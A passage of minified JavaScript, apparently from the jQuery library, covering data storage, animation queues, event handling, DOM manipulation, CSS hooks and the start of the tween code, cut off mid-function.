Q,Z=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,ee=/[A-Z]/g;function te(e){return"true"===e||"false"!==e&&("null"===e?null:e===+e+""?+e:Z.test(e)?JSON.parse(e):e)}function ne(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(ee,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n=te(n)}catch(e){}K.set(e,t,n)}else n=void 0;return n}w.extend({hasData:function(e){return K.hasData(e)||J.hasData(e)},data:function(e,t,n){return K.access(e,t,n)},removeData:function(e,t){K.remove(e,t)},_data:function(e,t,n){return J.access(e,t,n)},_removeData:function(e,t){J.remove(e,t)}}),w.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===e){if(this.length&&(i=K.get(o),1===o.nodeType&&!J.get(o,"hasDataAttrs"))){n=a.length;while(n--)a[n]&&0===(r=a[n].name).indexOf("data-")&&(r=G(r.slice(5)),ne(o,r,i[r]));J.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof e?this.each(function(){K.set(this,e)}):z(this,function(t){var n;if(o&&void 0===t){if(void 0!==(n=K.get(o,e)))return n;if(void 0!==(n=ne(o,e)))return n}else this.each(function(){K.set(this,e,t)})},null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){K.remove(this,e)})}}),w.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=J.get(e,t),n&&(!r||Array.isArray(n)?r=J.access(e,t,w.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=w.queue(e,t),r=n.length,i=n.shift(),o=w._queueHooks(e,t),a=function(){w.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return J.get(e,n)||J.access(e,n,{empty:w.Callbacks("once memory").add(function(){J.remove(e,[t+"queue",n])})})}}),w.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?w.queue(this[0],e):void 0===t?this:this.each(function(){var n=w.queue(this,e,t);w._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&w.dequeue(this,e)})},dequeue:function(e){return this.each(function(){w.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=w.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=J.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var re=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ie=new RegExp("^(?:([+-])=|)("+re+")([a-z%]*)$","i"),oe=["Top","Right","Bottom","Left"],ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&w.contains(e.ownerDocument,e)&&"none"===w.css(e,"display")},se=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};function ue(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return w.css(e,t,"")},u=s(),l=n&&n[3]||(w.cssNumber[t]?"":"px"),c=(w.cssNumber[t]||"px"!==l&&+u)&&ie.exec(w.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)w.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,w.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var le={};function ce(e){var t,n=e.ownerDocument,r=e.nodeName,i=le[r];return i||(t=n.body.appendChild(n.createElement(r)),i=w.css(t,"display"),t.parentNode.removeChild(t),"none"===i&&(i="block"),le[r]=i,i)}function fe(e,t){for(var n,r,i=[],o=0,a=e.length;o<a;o++)(r=e[o]).style&&(n=r.style.display,t?("none"===n&&(i[o]=J.get(r,"display")||null,i[o]||(r.style.display="")),""===r.style.display&&ae(r)&&(i[o]=ce(r))):"none"!==n&&(i[o]="none",J.set(r,"display",n)));for(o=0;o<a;o++)null!=i[o]&&(e[o].style.display=i[o]);return e}w.fn.extend({show:function(){return fe(this,!0)},hide:function(){return fe(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?w(this).show():w(this).hide()})}});var pe=/^(?:checkbox|radio)$/i,de=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ge.optgroup=ge.option,ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td;function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&N(e,t)?w.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n<r;n++)J.set(e[n],"globalEval",!t||J.get(t[n],"globalEval"))}var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===x(o))w.merge(p,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),s=(de.exec(o)||["",""])[1].toLowerCase(),u=ge[s]||ge._default,a.innerHTML=u[1]+w.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;w.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&w.inArray(o,r)>-1)i&&i.push(o);else if(l=w.contains(o.ownerDocument,o),a=ye(f.appendChild(o),"script"),l&&ve(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}!function(){var e=r.createDocumentFragment().appendChild(r.createElement("div")),t=r.createElement("input");t.setAttribute("type","radio"),t.setAttribute("checked","checked"),t.setAttribute("name","t"),e.appendChild(t),h.checkClone=e.cloneNode(!0).cloneNode(!0).lastChild.checked,e.innerHTML="<textarea>x</textarea>",h.noCloneChecked=!!e.cloneNode(!0).lastChild.defaultValue}();var be=r.documentElement,we=/^key/,Te=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ce=/^([^.]*)(?:\.(.+)|)/;function Ee(){return!0}function ke(){return!1}function Se(){try{return r.activeElement}catch(e){}}function De(e,t,n,r,i,o){var a,s;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(s in t)De(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=ke;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return w().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=w.guid++)),e.each(function(){w.event.add(this,t,i,r,n)})}w.event={global:{},add:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.get(e);if(y){n.handler&&(n=(o=n).handler,i=o.selector),i&&w.find.matchesSelector(be,i),n.guid||(n.guid=w.guid++),(u=y.events)||(u=y.events={}),(a=y.handle)||(a=y.handle=function(t){return"undefined"!=typeof w&&w.event.triggered!==t.type?w.event.dispatch.apply(e,arguments):void 0}),l=(t=(t||"").match(M)||[""]).length;while(l--)d=g=(s=Ce.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=w.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=w.event.special[d]||{},c=w.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&w.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(e,r,h,a)||e.addEventListener&&e.addEventListener(d,a)),f.add&&(f.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),w.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.hasData(e)&&J.get(e);if(y&&(u=y.events)){l=(t=(t||"").match(M)||[""]).length;while(l--)if(s=Ce.exec(t[l])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){f=w.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,y.handle)||w.removeEvent(e,d,y.handle),delete u[d])}else for(d in u)w.event.remove(e,d+t[l],n,r,!0);w.isEmptyObject(u)&&J.remove(e,"handle events")}},dispatch:function(e){var t=w.event.fix(e),n,r,i,o,a,s,u=new Array(arguments.length),l=(J.get(this,"events")||{})[t.type]||[],c=w.event.special[t.type]||{};for(u[0]=t,n=1;n<arguments.length;n++)u[n]=arguments[n];if(t.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,t)){s=w.event.handlers.call(this,t,l),n=0;while((o=s[n++])&&!t.isPropagationStopped()){t.currentTarget=o.elem,r=0;while((a=o.handlers[r++])&&!t.isImmediatePropagationStopped())t.rnamespace&&!t.rnamespace.test(a.namespace)||(t.handleObj=a,t.data=a.data,void 0!==(i=((w.event.special[a.origType]||{}).handle||a.handler).apply(o.elem,u))&&!1===(t.result=i)&&(t.preventDefault(),t.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,t),t.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&e.button>=1))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?w(i,this).index(l)>-1:w.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(e,t){Object.defineProperty(w.Event.prototype,e,{enumerable:!0,configurable:!0,get:g(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[w.expando]?e:new w.Event(e)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==Se()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===Se()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&N(this,"input"))return this.click(),!1},_default:function(e){return N(e.target,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},w.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},w.Event=function(e,t){if(!(this instanceof w.Event))return new w.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ee:ke,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&w.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[w.expando]=!0},w.Event.prototype={constructor:w.Event,isDefaultPrevented:ke,isPropagationStopped:ke,isImmediatePropagationStopped:ke,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ee,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ee,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ee,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},w.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&we.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&Te.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},w.event.addProp),w.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,t){w.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return i&&(i===r||w.contains(r,i))||(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),w.fn.extend({on:function(e,t,n,r){return De(this,e,t,n,r)},one:function(e,t,n,r){return De(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,w(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=ke),this.each(function(){w.event.remove(this,e,n,t)})}});var Ne=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,Ae=/<script|<style|<link/i,je=/checked\s*(?:[^=]|=\s*.checked.)/i,qe=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Le(e,t){return N(e,"table")&&N(11!==t.nodeType?t:t.firstChild,"tr")?w(e).children("tbody")[0]||e:e}function He(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Oe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Pe(e,t){var n,r,i,o,a,s,u,l;if(1===t.nodeType){if(J.hasData(e)&&(o=J.access(e),a=J.set(t,o),l=o.events)){delete a.handle,a.events={};for(i in l)for(n=0,r=l[i].length;n<r;n++)w.event.add(t,i,l[i][n])}K.hasData(e)&&(s=K.access(e),u=w.extend({},s),K.set(t,u))}}function Me(e,t){var n=t.nodeName.toLowerCase();"input"===n&&pe.test(e.type)?t.checked=e.checked:"input"!==n&&"textarea"!==n||(t.defaultValue=e.defaultValue)}function Re(e,t,n,r){t=a.apply([],t);var i,o,s,u,l,c,f=0,p=e.length,d=p-1,y=t[0],v=g(y);if(v||p>1&&"string"==typeof y&&!h.checkClone&&je.test(y))return e.each(function(i){var o=e.eq(i);v&&(t[0]=y.call(this,i,o.html())),Re(o,t,n,r)});if(p&&(i=xe(t,e[0].ownerDocument,!1,e,r),o=i.firstChild,1===i.childNodes.length&&(i=o),o||r)){for(u=(s=w.map(ye(i,"script"),He)).length;f<p;f++)l=i,f!==d&&(l=w.clone(l,!0,!0),u&&w.merge(s,ye(l,"script"))),n.call(e[f],l,f);if(u)for(c=s[s.length-1].ownerDocument,w.map(s,Oe),f=0;f<u;f++)l=s[f],he.test(l.type||"")&&!J.access(l,"globalEval")&&w.contains(c,l)&&(l.src&&"module"!==(l.type||"").toLowerCase()?w._evalUrl&&w._evalUrl(l.src):m(l.textContent.replace(qe,""),c,l))}return e}function Ie(e,t,n){for(var r,i=t?w.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||w.cleanData(ye(r)),r.parentNode&&(n&&w.contains(r.ownerDocument,r)&&ve(ye(r,"script")),r.parentNode.removeChild(r));return e}w.extend({htmlPrefilter:function(e){return e.replace(Ne,"<$1></$2>")},clone:function(e,t,n){var r,i,o,a,s=e.cloneNode(!0),u=w.contains(e.ownerDocument,e);if(!(h.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||w.isXMLDoc(e)))for(a=ye(s),r=0,i=(o=ye(e)).length;r<i;r++)Me(o[r],a[r]);if(t)if(n)for(o=o||ye(e),a=a||ye(s),r=0,i=o.length;r<i;r++)Pe(o[r],a[r]);else Pe(e,s);return(a=ye(s,"script")).length>0&&ve(a,!u&&ye(e,"script")),s},cleanData:function(e){for(var t,n,r,i=w.event.special,o=0;void 0!==(n=e[o]);o++)if(Y(n)){if(t=n[J.expando]){if(t.events)for(r in t.events)i[r]?w.event.remove(n,r):w.removeEvent(n,r,t.handle);n[J.expando]=void 0}n[K.expando]&&(n[K.expando]=void 0)}}}),w.fn.extend({detach:function(e){return Ie(this,e,!0)},remove:function(e){return Ie(this,e)},text:function(e){return z(this,function(e){return void 0===e?w.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Re(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Le(this,e).appendChild(e)})},prepend:function(){return Re(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Le(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ye(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},html:function(e){return z(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Ae.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=w.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(w.cleanData(ye(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=[];return Re(this,arguments,function(t){var n=this.parentNode;w.inArray(this,e)<0&&(w.cleanData(ye(this)),n&&n.replaceChild(t,this))},e)}}),w.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){w.fn[e]=function(e){for(var n,r=[],i=w(e),o=i.length-1,a=0;a<=o;a++)n=a===o?this:this.clone(!0),w(i[a])[t](n),s.apply(r,n.get());return this.pushStack(r)}});var We=new RegExp("^("+re+")(?!px)[a-z%]+$","i"),$e=function(t){var n=t.ownerDocument.defaultView;return n&&n.opener||(n=e),n.getComputedStyle(t)},Be=new RegExp(oe.join("|"),"i");!function(){function t(){if(c){l.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",c.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",be.appendChild(l).appendChild(c);var t=e.getComputedStyle(c);i="1%"!==t.top,u=12===n(t.marginLeft),c.style.right="60%",s=36===n(t.right),o=36===n(t.width),c.style.position="absolute",a=36===c.offsetWidth||"absolute",be.removeChild(l),c=null}}function n(e){return Math.round(parseFloat(e))}var i,o,a,s,u,l=r.createElement("div"),c=r.createElement("div");c.style&&(c.style.backgroundClip="content-box",c.cloneNode(!0).style.backgroundClip="",h.clearCloneStyle="content-box"===c.style.backgroundClip,w.extend(h,{boxSizingReliable:function(){return t(),o},pixelBoxStyles:function(){return t(),s},pixelPosition:function(){return t(),i},reliableMarginLeft:function(){return t(),u},scrollboxSize:function(){return t(),a}}))}();function Fe(e,t,n){var r,i,o,a,s=e.style;return(n=n||$e(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||w.contains(e.ownerDocument,e)||(a=w.style(e,t)),!h.pixelBoxStyles()&&We.test(a)&&Be.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0!==a?a+"":a}function _e(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}var ze=/^(none|table(?!-c[ea]).+)/,Xe=/^--/,Ue={position:"absolute",visibility:"hidden",display:"block"},Ve={letterSpacing:"0",fontWeight:"400"},Ge=["Webkit","Moz","ms"],Ye=r.createElement("div").style;function Qe(e){if(e in Ye)return e;var t=e[0].toUpperCase()+e.slice(1),n=Ge.length;while(n--)if((e=Ge[n]+t)in Ye)return e}function Je(e){var t=w.cssProps[e];return t||(t=w.cssProps[e]=Qe(e)||e),t}function Ke(e,t,n){var r=ie.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Ze(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(u+=w.css(e,n+oe[a],!0,i)),r?("content"===n&&(u-=w.css(e,"padding"+oe[a],!0,i)),"margin"!==n&&(u-=w.css(e,"border"+oe[a]+"Width",!0,i))):(u+=w.css(e,"padding"+oe[a],!0,i),"padding"!==n?u+=w.css(e,"border"+oe[a]+"Width",!0,i):s+=w.css(e,"border"+oe[a]+"Width",!0,i));return!r&&o>=0&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))),u}function et(e,t,n){var r=$e(e),i=Fe(e,t,r),o="border-box"===w.css(e,"boxSizing",!1,r),a=o;if(We.test(i)){if(!n)return i;i="auto"}return a=a&&(h.boxSizingReliable()||i===e.style[t]),("auto"===i||!parseFloat(i)&&"inline"===w.css(e,"display",!1,r))&&(i=e["offset"+t[0].toUpperCase()+t.slice(1)],a=!0),(i=parseFloat(i)||0)+Ze(e,t,n||(o?"border":"content"),a,r,i)+"px"}w.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Fe(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=G(t),u=Xe.test(t),l=e.style;if(u||(t=Je(s)),a=w.cssHooks[t]||w.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"==(o=typeof n)&&(i=ie.exec(n))&&i[1]&&(n=ue(e,t,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(w.cssNumber[s]?"":"px")),h.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=G(t);return Xe.test(t)||(t=Je(s)),(a=w.cssHooks[t]||w.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Fe(e,t,r)),"normal"===i&&t in Ve&&(i=Ve[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),w.each(["height","width"],function(e,t){w.cssHooks[t]={get:function(e,n,r){if(n)return!ze.test(w.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?et(e,t,r):se(e,Ue,function(){return et(e,t,r)})},set:function(e,n,r){var i,o=$e(e),a="border-box"===w.css(e,"boxSizing",!1,o),s=r&&Ze(e,t,r,a,o);return a&&h.scrollboxSize()===o.position&&(s-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(o[t])-Ze(e,t,"border",!1,o)-.5)),s&&(i=ie.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=w.css(e,t)),Ke(e,n,s)}}}),w.cssHooks.marginLeft=_e(h.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Fe(e,"marginLeft"))||e.getBoundingClientRect().left-se(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),w.each({margin:"",padding:"",border:"Width"},function(e,t){w.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+oe[r]+t]=o[r]||o[r-2]||o[0];return i}},"margin"!==e&&(w.cssHooks[e+t].set=Ke)}),w.fn.extend({css:function(e,t){return z(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=$e(e),i=t.length;a<i;a++)o[t[a]]=w.css(e,t[a],!1,r);return o}return void 0!==n?w.style(e,t,n):w.css(e,t)},e,t,arguments.length>1)}});function tt(e,t,n,r,i){return new tt.prototype.init(e,t,n,r,i)}w.Tween=tt,tt.prototype={constructor:tt,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||w.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(w.cssNumber[n]?"":"px")},cur:function(){var e=tt.propHooks[this.prop];return e&&e.get?e.get(this):tt.propHooks._default.get(this)},run:function(e){var t,n=tt.propHooks[this.prop];return this.options.duration?this.pos=t=w.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):tt.propHooks._default.set(this),this}},tt.prototype.init.prototype=tt.prototype,tt.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=w.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){w.fx.step[e.prop]?w.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[w.cssProps[e.prop]]&&!w.cssHooks[e.prop]?e.elem[e.prop]=e.now:w.style(e.elem,e.prop,e.now+e.unit)}}},tt.propHooks.scrollTop=tt.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},w.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},w.fx=tt.prototype.init,w.fx.step={};var nt,rt,it=/^(?:toggle|show|hide)$/,ot=/queueHooks$/;function at(){rt&&(!1===r.hidden&&e.requestAnimationFrame?e.requestAnimationFrame(at):e.setTimeout(at,w.fx.interval),w.fx.tick())}function st(){return e.setTimeout(function(){nt=void 0}),nt=Date.now()}function ut(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=oe[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function lt(e,t,n){for(var r,i=(pt.tweeners[t]||[]).concat(pt.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function ct(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ae(e),y=J.get(e,"fxshow");n.queue||(null==(a=w._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,w.queue(e,"fx").length||a.empty.fire()})}));for(r in t)if(i=t[r],it.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!y||void 0===y[r])continue;g=!0}d[r]=y&&y[r]||w.style(e,r)}if((u=!w.isEmptyObject(t))||!w.isEmptyObject(d)){f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=y&&y.display)&&(l=J.get(e,"display")),"none"===(c=w.css(e,"display"))&&(l?c=l:(fe([e],!0),l=e.style.display||l,c=w.css(e,"display"),fe([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===w.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1;for(r in d)u||(y?"hidden"in y&&(g=y.hidden):y=J.access(e,"fxshow",{display:l}),o&&(y.hidden=!g),g&&fe([e],!0),p.done(function(){g||fe([e]),J.remove(e,"fxshow");for(r in d)w.style(e,r,d[r])})),u=lt(g?y[r]:0,r,p),r in y||(y[r]=u.start,g&&(u.end=u.start,u.start=0))}}function ft(e,t){var n,r,i,o,a;for(n in e)if(r=G(n),i=t[r],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=w.cssHooks[r])&&"expand"in a){o=a.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]=i)}else t[r]=i}function pt(e,t,n){var r,i,o=0,a=pt.prefilters.length,s=w.Deferred().always(function(){delete u.elem}),u=function(){if(i)return!1;for(var 